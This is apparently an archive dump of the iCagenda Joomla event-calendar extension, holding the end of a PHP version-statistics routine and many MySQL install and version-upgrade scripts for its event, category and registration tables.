		$stats->setValue('swn', 'iCagenda'); // software_name
		$stats->setValue('swt', $ictype); // software_type
		$stats->setValue('swx', $ic_major); // software_major
		$stats->setValue('swy', $ic_minor); // software_minor
		$stats->setValue('swz', $ic_revision); // software_revision

		$stats->setValue('cmst', 1); // cms_type
		$stats->setValue('cmsx', $cms_major); // cms_major
		$stats->setValue('cmsy', $cms_minor); // cms_minor
		$stats->setValue('cmsz', $cms_revision); // cms_revision

		$stats->setValue('phpx', $php_major); // php_major
		$stats->setValue('phpy', $php_minor); // php_minor
		$stats->setValue('phpz', $php_revision); // php_revision
		$stats->setValue('phpq', $php_qualifier); // php_qualifiers

		$stats->setValue('dbt', $db_type); // db_type
		$stats->setValue('dbx', $db_major); // db_major
		$stats->setValue('dby', $db_minor); // db_minor
		$stats->setValue('dbz', $db_revision); // db_revision
		$stats->setValue('dbq', $db_qualifier); // db_qualifiers

		$return = $stats->sendInfo();

		return $return;
	}
}
com_icagenda/sql/index.html000060400000000055152455305270011735 0ustar00<html><body bgcolor="#FFFFFF"></body></html>
com_icagenda/sql/install/mysql/icagenda.install.sql000060400000015706152455305270016505 0ustar00--
-- iCagenda: Install Database `icagenda`
--

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda`
--

CREATE TABLE IF NOT EXISTS `#__icagenda` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `version` varchar(255) DEFAULT NULL,
  `releasedate` varchar(255) DEFAULT NULL,
  `params` text NOT NULL,
  PRIMARY KEY (`id`)
) DEFAULT CHARSET=utf8;

--
-- Dumping data for table `#__icagenda`
--

INSERT IGNORE INTO `#__icagenda` (`id`, `version`, `releasedate`, `params`) VALUES
(3,'3.5.12','2015-10-12','');

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_category`
--

CREATE TABLE IF NOT EXISTS `#__icagenda_category` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `ordering` int(11) NOT NULL,
  `state` tinyint(1) NOT NULL DEFAULT '1',
  `checked_out` int(11) NOT NULL,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `title` varchar(255) NOT NULL,
  `alias` varchar(255) NOT NULL,
  `color` varchar(255) NOT NULL,
  `desc` text(65535) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT COLLATE=utf8_general_ci;

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_events`
--

CREATE TABLE IF NOT EXISTS `#__icagenda_events` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `asset_id` int(10) NOT NULL DEFAULT '0',
  `ordering` int(11) NOT NULL,
  `state` tinyint(1) NOT NULL DEFAULT '1',
  `approval` int(11) NOT NULL DEFAULT '0',
  `site_itemid` int(10) NOT NULL DEFAULT '0',
  `checked_out` int(11) NOT NULL,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `title` varchar(255) NOT NULL,
  `alias` varchar(255) NOT NULL,
  `access` int(10) unsigned NOT NULL DEFAULT '0',
  `language` CHAR(7) NOT NULL,
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_by` int(10) unsigned NOT NULL DEFAULT '0',
  `created_by_alias` varchar(255) NOT NULL,
  `created_by_email` varchar(100) NOT NULL,
  `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int(10) unsigned NOT NULL DEFAULT '0',
  `username` varchar(255) NOT NULL,
  `catid` int(11) NOT NULL,
  `image` varchar(255) NOT NULL,
  `file` varchar(255) NOT NULL,
  `displaytime` int(10) NOT NULL DEFAULT '1',
  `weekdays` varchar(255) NOT NULL,
  `daystime` varchar(255) NOT NULL,
  `startdate` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `enddate` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `period` text(65535) NOT NULL,
  `dates` text(65535) NOT NULL,
  `next` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `time` varchar(255) NOT NULL,
  `place` varchar(255) NOT NULL,
  `website` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `phone` varchar(255) NOT NULL,
  `name` varchar(255) NOT NULL,
  `city` varchar(255) NOT NULL,
  `country` varchar(255) NOT NULL,
  `address` varchar(255) NOT NULL,
  `coordinate` varchar(255) NOT NULL,
  `lat` float( 20, 16 ) NOT NULL,
  `lng` FLOAT( 20, 16 ) NOT NULL,
  `shortdesc` text NOT NULL,
  `desc` text(65535) NOT NULL ,
  `metadesc` text NOT NULL,
  `params` text NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT COLLATE=utf8_general_ci;

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_registration`
--

CREATE TABLE IF NOT EXISTS `#__icagenda_registration` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `asset_id` int(10) NOT NULL DEFAULT '0',
  `ordering` int(11) NOT NULL,
  `state` tinyint(1) NOT NULL DEFAULT '1',
  `checked_out` int(11) NOT NULL,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `userid` int(11) NOT NULL,
  `itemid` int(11) NOT NULL,
  `eventid` int(11) NOT NULL,
  `name` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `phone` varchar(255) NOT NULL,
  `date` text(65535) NOT NULL,
  `period` tinyint(1) NOT NULL DEFAULT '0',
  `people` int(2) NOT NULL,
  `notes` text(65535) NOT NULL ,
  `params` text NOT NULL ,
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_by` int(10) unsigned NOT NULL DEFAULT '0',
  `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT COLLATE=utf8_general_ci;

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_customfields`
--

CREATE TABLE IF NOT EXISTS `#__icagenda_customfields` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `ordering` int(11) NOT NULL,
  `state` tinyint(1) NOT NULL DEFAULT '1',
  `checked_out` int(11) NOT NULL,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `title` varchar(255) NOT NULL,
  `alias` varchar(255) NOT NULL,
  `slug` varchar(255) NOT NULL,
  `description` mediumtext NOT NULL,
  `parent_form` int(11) NOT NULL DEFAULT '0',
  `type` varchar(255) NOT NULL,
  `options` mediumtext,
  `default` varchar(255) NOT NULL,
  `required` tinyint(3) NOT NULL DEFAULT '0',
  `language` varchar(10) NOT NULL DEFAULT '*',
  `params` mediumtext,
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_by` int(10) unsigned NOT NULL DEFAULT '0',
  `created_by_alias` varchar(255) NOT NULL DEFAULT '',
  `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_customfields_data`
--

CREATE TABLE IF NOT EXISTS `#__icagenda_customfields_data` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `state` tinyint(1) NOT NULL DEFAULT '1',
  `slug` varchar(255) NOT NULL,
  `parent_form` int(11) NOT NULL DEFAULT '0',
  `parent_id` int(11) NOT NULL DEFAULT '0',
  `value` varchar(255) NOT NULL,
  `language` varchar(10) NOT NULL DEFAULT '*',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_feature`
--

CREATE TABLE IF NOT EXISTS  `#__icagenda_feature` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `ordering` int(11) NOT NULL,
  `state` tinyint(1) NOT NULL DEFAULT '1',
  `checked_out` int(11) NOT NULL,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `title` varchar(255) NOT NULL,
  `alias` varchar(255) NOT NULL,
  `desc` mediumtext NOT NULL,
  `icon` varchar(255) NOT NULL,
  `icon_alt` varchar(255) NOT NULL,
  `show_filter` tinyint(1) NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT COLLATE=utf8_general_ci;

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_feature_xref`
--

CREATE TABLE IF NOT EXISTS  `#__icagenda_feature_xref` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `event_id` int(11) NOT NULL,
  `feature_id` int(11) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT COLLATE=utf8_general_ci;
com_icagenda/sql/updates/1.3.0.1.4.sql000060400000000220152455305270013060 0ustar00UPDATE `#__icagenda` SET version='1.3 beta1', releasedate='2012-12-11' WHERE id=1;

ALTER TABLE `#__icagenda_events` DROP COLUMN `registration`;com_icagenda/sql/updates/1.0.sql000060400000000000152455305270012412 0ustar00com_icagenda/sql/updates/1.3.0.1.3.sql000060400000000246152455305270013067 0ustar00UPDATE `#__icagenda` SET version='1.3 beta1', releasedate='2012-12-10' WHERE id=1;

ALTER TABLE `#__icagenda_events` MODIFY COLUMN `params` TEXT NOT NULL DEFAULT '';
com_icagenda/sql/updates/1.1.1.sql000060400000000065152455305270012565 0ustar00UPDATE `#__icagenda` SET version='1.1.1' WHERE id=1;
com_icagenda/sql/updates/3.5.7.sql000060400000001232152455305270012576 0ustar00UPDATE `#__icagenda` SET version='3.5.7', releasedate='2015-07-16' WHERE id=3;

ALTER TABLE `#__icagenda_registration` ADD COLUMN `asset_id` int(10) NOT NULL DEFAULT '0' AFTER `id`;
ALTER TABLE `#__icagenda_registration` ADD COLUMN `modified_by` int(10) unsigned NOT NULL DEFAULT '0' AFTER `params`;
ALTER TABLE `#__icagenda_registration` ADD COLUMN `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' AFTER `params`;
ALTER TABLE `#__icagenda_registration` ADD COLUMN `created_by` int(10) unsigned NOT NULL DEFAULT '0' AFTER `params`;
ALTER TABLE `#__icagenda_registration` ADD COLUMN `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' AFTER `params`;
com_icagenda/sql/updates/3.5.0.sql000060400000000117152455305270012570 0ustar00UPDATE `#__icagenda` SET version='3.5.0', releasedate='2015-02-25' WHERE id=3;
com_icagenda/sql/updates/3.2.4.sql000060400000000117152455305270012571 0ustar00UPDATE `#__icagenda` SET version='3.2.4', releasedate='2013-10-29' WHERE id=2;
com_icagenda/sql/updates/2.1.4.sql000060400000000117152455305270012567 0ustar00UPDATE `#__icagenda` SET version='2.1.4', releasedate='2013-04-05' WHERE id=1;
com_icagenda/sql/updates/2.1.3.sql000060400000000117152455305270012566 0ustar00UPDATE `#__icagenda` SET version='2.1.3', releasedate='2013-04-01' WHERE id=1;
com_icagenda/sql/updates/3.5.9.sql000060400000000117152455305270012601 0ustar00UPDATE `#__icagenda` SET version='3.5.9', releasedate='2015-08-01' WHERE id=3;
com_icagenda/sql/updates/3.2.3.sql000060400000000117152455305270012570 0ustar00UPDATE `#__icagenda` SET version='3.2.3', releasedate='2013-10-20' WHERE id=2;
com_icagenda/sql/updates/1.3.0.1.sql000060400000002206152455305270012724 0ustar00UPDATE `#__icagenda` SET version='1.3 beta1', releasedate='2012-10-28' WHERE id=1;

ALTER TABLE `#__icagenda_events` ADD `period` TEXT(65535) NOT NULL AFTER `file`;
ALTER TABLE `#__icagenda_events` ADD `enddate` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00' AFTER `file`;
ALTER TABLE `#__icagenda_events` ADD `startdate` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00' AFTER `file`;
ALTER TABLE `#__icagenda_events` MODIFY `next` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00';
ALTER TABLE `#__icagenda_events` ADD `website` VARCHAR(255) NOT NULL AFTER `place`;

DROP TABLE IF EXISTS `#__icagenda_registration`;

CREATE TABLE `#__icagenda_registration` (
`id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT,
`ordering` INT(11)  NOT NULL ,
`state` TINYINT(11)  NOT NULL DEFAULT '1',
`checked_out` INT(11)  NOT NULL ,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`userid` INT(11)  NOT NULL ,
`eventid` INT(11)  NOT NULL ,
`name` VARCHAR(255)  NOT NULL ,
`email` VARCHAR(255)  NOT NULL ,
`phone` VARCHAR(255)  NOT NULL ,
`date` DATE NOT NULL ,
`people` INT(2)  NOT NULL ,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT COLLATE=utf8_general_ci;

com_icagenda/sql/updates/2.1.11.sql000060400000000120152455305270012637 0ustar00UPDATE `#__icagenda` SET version='2.1.11', releasedate='2013-05-13' WHERE id=1;
com_icagenda/sql/updates/3.1.5.sql000060400000000117152455305270012571 0ustar00UPDATE `#__icagenda` SET version='3.1.5', releasedate='2013-08-19' WHERE id=2;
com_icagenda/sql/updates/3.1.2.sql000060400000000117152455305270012566 0ustar00UPDATE `#__icagenda` SET version='3.1.2', releasedate='2013-08-05' WHERE id=2;
com_icagenda/sql/updates/3.1.10.sql000060400000000265152455305270012651 0ustar00UPDATE `#__icagenda` SET version='3.1.10', releasedate='2013-09-12' WHERE id=2;

ALTER TABLE `#__icagenda_events` ADD COLUMN `approval` INT(11)  NOT NULL DEFAULT '0' AFTER `state`;
com_icagenda/sql/updates/3.2.14.sql000060400000002707152455305270012661 0ustar00ALTER TABLE `#__icagenda` ADD COLUMN `params` TEXT NOT NULL DEFAULT '' AFTER `releasedate`;
INSERT INTO `#__icagenda` (id,version,releasedate,params) VALUES (3,'3.2.14','2014-03-01','');

ALTER TABLE `#__icagenda_events` ADD COLUMN `metadesc` TEXT NOT NULL DEFAULT '' AFTER `desc`;

ALTER TABLE `#__icagenda_registration` ADD COLUMN `custom_fields` TEXT NOT NULL DEFAULT '' AFTER `notes`;

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_customfields`
--

CREATE TABLE IF NOT EXISTS `#__icagenda_customfields` (
  `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT,
  `ordering` INT(11) NOT NULL,
  `state` TINYINT(1) NOT NULL DEFAULT '1',
  `checked_out` INT(11) NOT NULL,
  `checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
  `title` VARCHAR(255) NOT NULL,
  `alias` VARCHAR(255) NOT NULL,
  `parent_form` INT(11) NOT NULL DEFAULT '0',
  `type` VARCHAR(255) NOT NULL,
  `options` mediumtext,
  `default` VARCHAR(255) NOT NULL,
  `required` tinyint(3) NOT NULL DEFAULT '0',
  `language` varchar(10) NOT NULL DEFAULT '*',
  `params` mediumtext,
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_by` int(10) unsigned NOT NULL DEFAULT '0',
  `created_by_alias` varchar(255) NOT NULL DEFAULT '',
  `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
com_icagenda/sql/updates/1.2.6.3.sql000060400000000127152455305270012733 0ustar00UPDATE `#__icagenda` SET version='1.2.6 beta3', releasedate='2012-10-13' WHERE id=1;


com_icagenda/sql/updates/3.2.13.sql000060400000000120152455305270012643 0ustar00UPDATE `#__icagenda` SET version='3.2.13', releasedate='2014-02-01' WHERE id=2;
com_icagenda/sql/updates/3.4.0.sql000060400000000117152455305270012567 0ustar00UPDATE `#__icagenda` SET version='3.4.0', releasedate='2014-12-22' WHERE id=3;
com_icagenda/sql/updates/1.2.6.4.sql000060400000000121152455305270012726 0ustar00UPDATE `#__icagenda` SET version='1.2.6', releasedate='2012-10-15' WHERE id=1;


com_icagenda/sql/updates/1.2.7.sql000060400000000121152455305270012565 0ustar00UPDATE `#__icagenda` SET version='1.2.7', releasedate='2012-10-18' WHERE id=1;


com_icagenda/sql/updates/2.1.sql000060400000000115152455305270012423 0ustar00UPDATE `#__icagenda` SET version='2.1', releasedate='2013-03-11' WHERE id=1;
com_icagenda/sql/updates/2.0.4.sql000060400000000117152455305270012566 0ustar00UPDATE `#__icagenda` SET version='2.0.4', releasedate='2013-01-23' WHERE id=1;
com_icagenda/sql/updates/3.3.5-1.sql000060400000000121152455305270012724 0ustar00UPDATE `#__icagenda` SET version='3.3.5-1', releasedate='2014-04-29' WHERE id=3;
com_icagenda/sql/updates/1.2.9.sql000060400000000121152455305270012567 0ustar00UPDATE `#__icagenda` SET version='1.2.9', releasedate='2012-10-28' WHERE id=1;


com_icagenda/sql/updates/3.3.4.sql000060400000000117152455305270012572 0ustar00UPDATE `#__icagenda` SET version='3.3.4', releasedate='2014-04-25' WHERE id=3;
com_icagenda/sql/updates/3.3.3.sql000060400000000117152455305270012571 0ustar00UPDATE `#__icagenda` SET version='3.3.3', releasedate='2014-04-20' WHERE id=3;
com_icagenda/sql/updates/3.5.11.sql000060400000000120152455305270012644 0ustar00UPDATE `#__icagenda` SET version='3.5.11', releasedate='2015-09-05' WHERE id=3;
com_icagenda/sql/updates/2.0.3.sql000060400000000117152455305270012565 0ustar00UPDATE `#__icagenda` SET version='2.0.3', releasedate='2013-01-10' WHERE id=1;
com_icagenda/sql/updates/2.1.2.sql000060400000000117152455305270012565 0ustar00UPDATE `#__icagenda` SET version='2.1.2', releasedate='2013-03-21' WHERE id=1;
com_icagenda/sql/updates/3.5.8.sql000060400000000117152455305270012600 0ustar00UPDATE `#__icagenda` SET version='3.5.8', releasedate='2015-07-17' WHERE id=3;
com_icagenda/sql/updates/3.2.2.sql000060400000000117152455305270012567 0ustar00UPDATE `#__icagenda` SET version='3.2.2', releasedate='2013-10-10' WHERE id=2;
com_icagenda/sql/updates/3.2.5.sql000060400000000117152455305270012572 0ustar00UPDATE `#__icagenda` SET version='3.2.5', releasedate='2013-11-11' WHERE id=2;
com_icagenda/sql/updates/2.1.5.sql000060400000000117152455305270012570 0ustar00UPDATE `#__icagenda` SET version='2.1.5', releasedate='2013-04-10' WHERE id=1;
com_icagenda/sql/updates/3.0.sql000060400000000122152455305270012421 0ustar00INSERT INTO `#__icagenda` (id,version,releasedate) VALUES (2,'3.0','2013-06-04');
com_icagenda/sql/updates/3.5.1.sql000060400000000117152455305270012571 0ustar00UPDATE `#__icagenda` SET version='3.5.1', releasedate='2015-03-01' WHERE id=3;
com_icagenda/sql/updates/3.5.6.sql000060400000000354152455305270012601 0ustar00UPDATE `#__icagenda` SET version='3.5.6', releasedate='2015-06-29' WHERE id=3;

ALTER TABLE `#__icagenda_registration` DROP COLUMN `custom_fields`;
ALTER TABLE `#__icagenda_registration` ADD COLUMN `params` text NOT NULL AFTER `notes`;
com_icagenda/sql/updates/2.1.2.2.sql000060400000000121152455305270012720 0ustar00UPDATE `#__icagenda` SET version='2.1.2.2', releasedate='2013-03-27' WHERE id=1;
com_icagenda/sql/updates/3.2.0.1.sql000060400000000123152455305270012721 0ustar00UPDATE `#__icagenda` SET version='3.2.0 RC2', releasedate='2013-09-22' WHERE id=2;
com_icagenda/sql/updates/2.0.6.1.sql000060400000001513152455305270012730 0ustar00UPDATE `#__icagenda` SET version='2.1 beta', releasedate='2013-02-21' WHERE id=1;

ALTER TABLE `#__icagenda_events` ADD COLUMN `asset_id` INT(10) NOT NULL DEFAULT '0' AFTER `id`;


ALTER TABLE `#__icagenda_events` ADD COLUMN `modified_by` INT(10) UNSIGNED NOT NULL DEFAULT '0' AFTER `alias`;
ALTER TABLE `#__icagenda_events` ADD COLUMN `modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00' AFTER `alias`;
ALTER TABLE `#__icagenda_events` ADD COLUMN `created_by_alias` VARCHAR(255) NOT NULL AFTER `alias`;
ALTER TABLE `#__icagenda_events` ADD COLUMN `created_by` INT(10) UNSIGNED NOT NULL DEFAULT '0' AFTER `alias`;
ALTER TABLE `#__icagenda_events` ADD COLUMN `created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00' AFTER `alias`;
ALTER TABLE `#__icagenda_events` ADD COLUMN `access` INT(10) UNSIGNED NOT NULL DEFAULT '0' AFTER `alias`;
com_icagenda/sql/updates/1.3.0.1.2.sql000060400000000301152455305270013056 0ustar00UPDATE `#__icagenda` SET version='1.3 beta1', releasedate='2012-12-03' WHERE id=1;

ALTER TABLE `#__icagenda_registration` MODIFY COLUMN `date` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00';
com_icagenda/sql/updates/1.3.0.1.5.sql000060400000000275152455305270013073 0ustar00UPDATE `#__icagenda` SET version='1.3 beta1', releasedate='2012-12-11' WHERE id=1;

ALTER TABLE `#__icagenda_registration` ADD COLUMN `period` TINYINT(1) NOT NULL DEFAULT '0' AFTER `date`;
com_icagenda/sql/updates/1.1.sql000060400000000063152455305270012424 0ustar00UPDATE `#__icagenda` SET version='1.1' WHERE id=1;
com_icagenda/sql/updates/3.3.2.sql000060400000000117152455305270012570 0ustar00UPDATE `#__icagenda` SET version='3.3.2', releasedate='2014-03-17' WHERE id=3;
com_icagenda/sql/updates/3.5.10.sql000060400000000120152455305270012643 0ustar00UPDATE `#__icagenda` SET version='3.5.10', releasedate='2015-09-01' WHERE id=3;
com_icagenda/sql/updates/2.0.2.sql000060400000000122152455305270012560 0ustar00UPDATE `#__icagenda` SET version='2.0.2 RC', releasedate='2013-01-04' WHERE id=1;
com_icagenda/sql/updates/2.0.sql000060400000000122152455305270012420 0ustar00UPDATE `#__icagenda` SET version='2.0.0 RC', releasedate='2012-12-31' WHERE id=1;
com_icagenda/sql/updates/2.0.5.sql000060400000000117152455305270012567 0ustar00UPDATE `#__icagenda` SET version='2.0.5', releasedate='2013-02-01' WHERE id=1;
com_icagenda/sql/updates/1.2.8.sql000060400000000121152455305270012566 0ustar00UPDATE `#__icagenda` SET version='1.2.8', releasedate='2012-10-22' WHERE id=1;


com_icagenda/sql/updates/3.3.5.sql000060400000000117152455305270012573 0ustar00UPDATE `#__icagenda` SET version='3.3.5', releasedate='2014-04-27' WHERE id=3;
com_icagenda/sql/updates/3.2.12.sql000060400000000120152455305270012642 0ustar00UPDATE `#__icagenda` SET version='3.2.12', releasedate='2014-01-08' WHERE id=2;
com_icagenda/sql/updates/3.4.1.sql000060400000000117152455305270012570 0ustar00UPDATE `#__icagenda` SET version='3.4.1', releasedate='2015-01-30' WHERE id=3;
com_icagenda/sql/updates/1.2.6.sql000060400000001317152455305270012574 0ustar00ALTER TABLE `#__icagenda` ADD COLUMN `releasedate` TEXT(65535)  NOT NULL AFTER `version`;
UPDATE `#__icagenda` SET version='1.2.6', releasedate='2012-10-06' WHERE id=1;

DROP TABLE IF EXISTS `#__icagenda_registration`;

CREATE TABLE `#__icagenda_registration` (
`id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT,
`ordering` INT(11)  NOT NULL ,
`checked_out` INT(11)  NOT NULL ,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`userid` INT(11)  NOT NULL ,
`eventid` INT(11)  NOT NULL ,
`name` VARCHAR(255)  NOT NULL ,
`email` VARCHAR(255)  NOT NULL ,
`phone` VARCHAR(255)  NOT NULL ,
`date` DATE NOT NULL ,
`people` INT(2)  NOT NULL ,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT COLLATE=utf8_general_ci;

com_icagenda/sql/updates/1.2.6.2.sql000060400000000127152455305270012732 0ustar00UPDATE `#__icagenda` SET version='1.2.6 beta2', releasedate='2012-10-11' WHERE id=1;


com_icagenda/sql/updates/1.2.1.sql000060400000000223152455305270012562 0ustar00UPDATE `#__icagenda` SET version='1.2.1' WHERE id=1;
DROP TABLE IF EXISTS `#__icagenda_registration`;
DROP TABLE IF EXISTS `#__icagenda_location`;
com_icagenda/sql/updates/3.1.11.sql000060400000000120152455305270012640 0ustar00UPDATE `#__icagenda` SET version='3.1.11', releasedate='2013-09-13' WHERE id=2;
com_icagenda/sql/updates/3.4.1-alpha1.sql000060400000000300152455305270013726 0ustar00UPDATE `#__icagenda` SET version='3.4.1-alpha1', releasedate='2015-01-24' WHERE id=3;

ALTER TABLE `#__icagenda_events` ADD COLUMN `site_itemid` INT(10) NOT NULL DEFAULT '0' AFTER `approval`;
com_icagenda/sql/updates/3.1.3.sql000060400000000117152455305270012567 0ustar00UPDATE `#__icagenda` SET version='3.1.3', releasedate='2013-08-09' WHERE id=2;
com_icagenda/sql/updates/3.4.0-beta1.sql000060400000000264152455305270013564 0ustar00UPDATE `#__icagenda` SET version='3.4.0-beta1', releasedate='2014-07-23' WHERE id=3;

ALTER TABLE `#__icagenda_events` ADD COLUMN `shortdesc` TEXT NOT NULL DEFAULT '' AFTER `lng`;
com_icagenda/sql/updates/3.4.0-alpha2.sql000060400000000126152455305270013734 0ustar00UPDATE `#__icagenda` SET version='3.4.0-alpha2', releasedate='2014-07-16' WHERE id=3;
com_icagenda/sql/updates/2.1.10.sql000060400000000120152455305270012636 0ustar00UPDATE `#__icagenda` SET version='2.1.10', releasedate='2013-05-07' WHERE id=1;
com_icagenda/sql/updates/3.1.4.sql000060400000000117152455305270012570 0ustar00UPDATE `#__icagenda` SET version='3.1.4', releasedate='2013-08-13' WHERE id=2;
com_icagenda/sql/updates/2.0.6.sql000060400000000117152455305270012570 0ustar00UPDATE `#__icagenda` SET version='2.0.6', releasedate='2013-02-07' WHERE id=1;
com_icagenda/sql/updates/index.html000060400000000055152455305270013402 0ustar00<html><body bgcolor="#FFFFFF"></body></html>
com_icagenda/sql/updates/3.3.6.sql000060400000000271152455305270012575 0ustar00UPDATE `#__icagenda` SET version='3.3.6', releasedate='2014-05-16' WHERE id=3;

ALTER TABLE `#__icagenda_customfields` ADD COLUMN `slug` VARCHAR(255) NOT NULL DEFAULT '' AFTER `alias`;
com_icagenda/sql/updates/3.3.1.sql000060400000000117152455305270012567 0ustar00UPDATE `#__icagenda` SET version='3.3.1', releasedate='2014-03-14' WHERE id=3;
com_icagenda/sql/updates/2.0.1.sql000060400000000122152455305270012557 0ustar00UPDATE `#__icagenda` SET version='2.0.1 RC', releasedate='2013-01-01' WHERE id=1;
com_icagenda/sql/updates/1.2.2.sql000060400000000223152455305270012563 0ustar00UPDATE `#__icagenda` SET version='1.2.2' WHERE id=1;
DROP TABLE IF EXISTS `#__icagenda_registration`;
DROP TABLE IF EXISTS `#__icagenda_location`;
com_icagenda/sql/updates/1.2.6.1.sql000060400000000127152455305270012731 0ustar00UPDATE `#__icagenda` SET version='1.2.6 beta1', releasedate='2012-10-09' WHERE id=1;


com_icagenda/sql/updates/3.2.11.sql000060400000000120152455305270012641 0ustar00UPDATE `#__icagenda` SET version='3.2.11', releasedate='2014-01-04' WHERE id=2;
com_icagenda/sql/updates/1.2.5.sql000060400000000067152455305270012574 0ustar00UPDATE `#__icagenda` SET version='1.2.5' WHERE id=1;


com_icagenda/sql/updates/3.3.8.sql000060400000000117152455305270012576 0ustar00UPDATE `#__icagenda` SET version='3.3.8', releasedate='2014-07-04' WHERE id=3;
com_icagenda/sql/updates/3.1.12.sql000060400000000120152455305270012641 0ustar00UPDATE `#__icagenda` SET version='3.1.12', releasedate='2013-09-17' WHERE id=2;
com_icagenda/sql/updates/3.1.9.sql000060400000000641152455305270012577 0ustar00UPDATE `#__icagenda` SET version='3.1.9', releasedate='2013-09-06' WHERE id=2;

ALTER TABLE `#__icagenda_registration` ADD COLUMN `notes` TEXT(65535) NOT NULL DEFAULT '' AFTER `people`;
ALTER TABLE `#__icagenda_events` ADD COLUMN `created_by_email` VARCHAR(100) NOT NULL DEFAULT '' AFTER `created_by_alias`;
ALTER TABLE `#__icagenda_events` ADD COLUMN `weekdays` VARCHAR(255) NOT NULL DEFAULT '' AFTER `displaytime`;
com_icagenda/sql/updates/3.1.7.sql000060400000000117152455305270012573 0ustar00UPDATE `#__icagenda` SET version='3.1.7', releasedate='2013-08-29' WHERE id=2;
com_icagenda/sql/updates/2.1.13.sql000060400000000120152455305270012641 0ustar00UPDATE `#__icagenda` SET version='2.1.13', releasedate='2013-05-23' WHERE id=1;
com_icagenda/sql/updates/3.1.0.sql000060400000000117152455305270012564 0ustar00UPDATE `#__icagenda` SET version='3.1.0', releasedate='2013-07-26' WHERE id=2;
com_icagenda/sql/updates/2.1.14.sql000060400000000355152455305270012654 0ustar00UPDATE `#__icagenda` SET version='2.1.14', releasedate='2013-05-29' WHERE id=1;
UPDATE `#__icagenda_events` SET language='*' WHERE language='';

ALTER TABLE `#__icagenda_registration` ADD COLUMN `itemid` INT(11) NOT NULL AFTER `userid`;
com_icagenda/sql/updates/3.4.0-beta2.sql000060400000000125152455305300013553 0ustar00UPDATE `#__icagenda` SET version='3.4.0-beta2', releasedate='2014-11-09' WHERE id=3;
com_icagenda/sql/updates/3.4.0-alpha1.sql000060400000000126152455305300013725 0ustar00UPDATE `#__icagenda` SET version='3.4.0-alpha1', releasedate='2014-07-11' WHERE id=3;
com_icagenda/sql/updates/3.4.0-rc.sql000060400000000122152455305300013157 0ustar00UPDATE `#__icagenda` SET version='3.4.0-rc', releasedate='2014-12-14' WHERE id=3;
com_icagenda/sql/updates/3.2.6.sql000060400000000117152455305300012565 0ustar00UPDATE `#__icagenda` SET version='3.2.6', releasedate='2013-11-21' WHERE id=2;
